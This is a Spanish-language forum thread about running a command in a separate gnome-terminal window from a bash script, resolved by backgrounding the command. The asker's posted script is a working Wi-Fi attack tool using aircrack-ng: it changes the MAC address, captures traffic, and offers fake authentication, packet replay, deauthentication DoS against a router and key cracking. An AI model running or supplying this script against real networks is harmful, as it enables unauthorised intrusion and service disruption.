Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: moikano→@ en 28 Octubre 2010, 15:47 pm



Título: [Bash script] Introducir comando en una nueva terminal (SOLUCIONADO)
Publicado por: moikano→@ en 28 Octubre 2010, 15:47 pm
Necesito saber si existe algún comando para ejecutar una orden y que se ejecute en una ventana nueva sin alterar la ventana padre (por decirlo de alguna forma).
Es decir:
ifconfig -a # se ejecuta en la terminal de origen
ifconfig # se ejecuta en la nueva terminal sin alterar la terminal de origen de ifconfig -a

No se si me explique muy bien. Googleando encontré alguna respuesta pero es un apaño un poco cutre, no me gusta mucho, queria saber si hay otra opción.

lo que e encontrado se trata de que el primer script llame al segundo:

Primer script (p.sh):

#!/bin/bash
gnome-terminal -e "bash script.sh"

Segundo script (script.sh):

#!/bin/bash
ls /home/usuario/Escritorio
sleep 5

Ejecución:

bash p.sh

------Lo que yo quiero es que no se necesite tener dos scripts diferentes.


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: moikano→@ en 1 Noviembre 2010, 18:38 pm
Nadie tiene una idea de como hacerlo?  :-\


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: leogtz en 2 Noviembre 2010, 00:14 am
Nadie tiene una idea de como hacerlo?  :-\

Tranquilo que también tenemos vidas sociales.


Código
  1. #!/bin/bash
  2. ifconfig -a
  3. gnome-terminal -x bash -c "ls|less"
  4.  


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: moikano→@ en 2 Noviembre 2010, 08:45 am
Disculpa Leo, solo quería revivír el mensaje.
Gracias =) voy a probarlo.


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: leogtz en 2 Noviembre 2010, 19:17 pm
De nada.  ;)


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: moikano→@ en 3 Noviembre 2010, 19:20 pm
Ey! si que funciona. Gracias de nuevo Leo =) como siempre das en el clavo.  ;-)


Título: Re: [Bash script] Introducir comando en una nueva terminal (SOLUCIONADO)
Publicado por: leogtz en 4 Noviembre 2010, 01:42 am
De nada. Aquí estamos.


Título: Re: [Bash script] Introducir comando en una nueva terminal (SOLUCIONADO)
Publicado por: moikano→@ en 4 Noviembre 2010, 20:51 pm
He estado probando dentro del script al que queria agregarlo y no me a dado el resultado que queria :-\.
Se abre una terminal con el comando que le digo, pero esta no es independiente de la terminal padre ( por así decirlo).
Es decir, cuando ejecuto el comando "gnome-terminal -x bash -c ifconfig" me saca una nueva ventana de terminal pero en la que e introducido el código se queda esperando a que la otra acabe y si hago un ctrl+c a cualquiera de las dos se para la que se ha abierto nueva.

Os pongo el código completo por si es otra cosa la que se me escapa:

Código
  1. #!/bin/bash
  2. iwconfig
  3.  read -p 'introduce el interfaz a usar: ' inter
  4. airmon-ng start $inter
  5.  read -n 4 -p 'introduce el monitor que utilizaras para cambiar su mac: ' mon
  6. ifconfig $mon down
  7. macchanger -m aa:00:aa:00:aa:00 $mon
  8. $macmon == aa:00:aa:00:aa:00
  9. echo 'pulsa control+c cuando veas la red'
  10.   airodump-ng $mon
  11. trap 'ataques' EXIT;
  12.      function ataques()
  13.             {
  14.                 read -p 'introduce el nombre de la red: ' nom ;
  15.                 read -n 17 -p 'introduce la mac: ' mac ;
  16.                 read -n 2 -p 'introduce su canal: ' can ;
  17.                      gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon" ;
  18.                 while [ $SALIR=1 ] ; do
  19.                 read -p 'indica que ataque quieres iniciar:
  20.                          -Autentificacion (1) -Captura de paquetes (2) -DoS a router (3) -Sacar clave (4) -salir (5) : ' ata ;
  21.                 case $ata in
  22.                      1) gnome-terminal -x bash -c "aireplay-ng -1 0 -e $nom -a $mac -h $macmon $mon" ;;
  23.                      2) gnome-terminal -x bash -c "aireplay-ng -3 -e $nom -a $mac -h $macmon $mon" ;;
  24.                      3) gnome-terminal -x bash -c "aireplay-ng -0 0 -e $nom -a $mac $mon" ;;
  25.                      4) gnome-terminal -x bash -c "aircrack-ng ./$nom*.cap" ;;
  26.                      5) break ;;
  27.                      *) echo 'lo escrito no es correcto'
  28.                 esac
  29.                 done
  30.              }

el problema esta en la linea
Código
  1. gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon"

Me abre la nueva terminal con este comando pero no me deja hacer nada en la terminal de origen.

No hay alguna otra manera de que la terminal nueva sea totalmente independiente de la terminal de origen?


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: moikano→@ en 17 Noviembre 2010, 15:45 pm
Alguien tiene alguna idea?


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: leogtz en 18 Noviembre 2010, 01:33 am
Prueba:
Código
  1. gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon" &


Título: Re: [Bash script] Introducir comando en una nueva terminal
Publicado por: moikano→@ en 18 Noviembre 2010, 16:03 pm
Vaya, justo lo que buscaba. El caso es que creía que había probado a enviar la tarea en segundo plano. O.o

En fin, gracias de nuevo. =)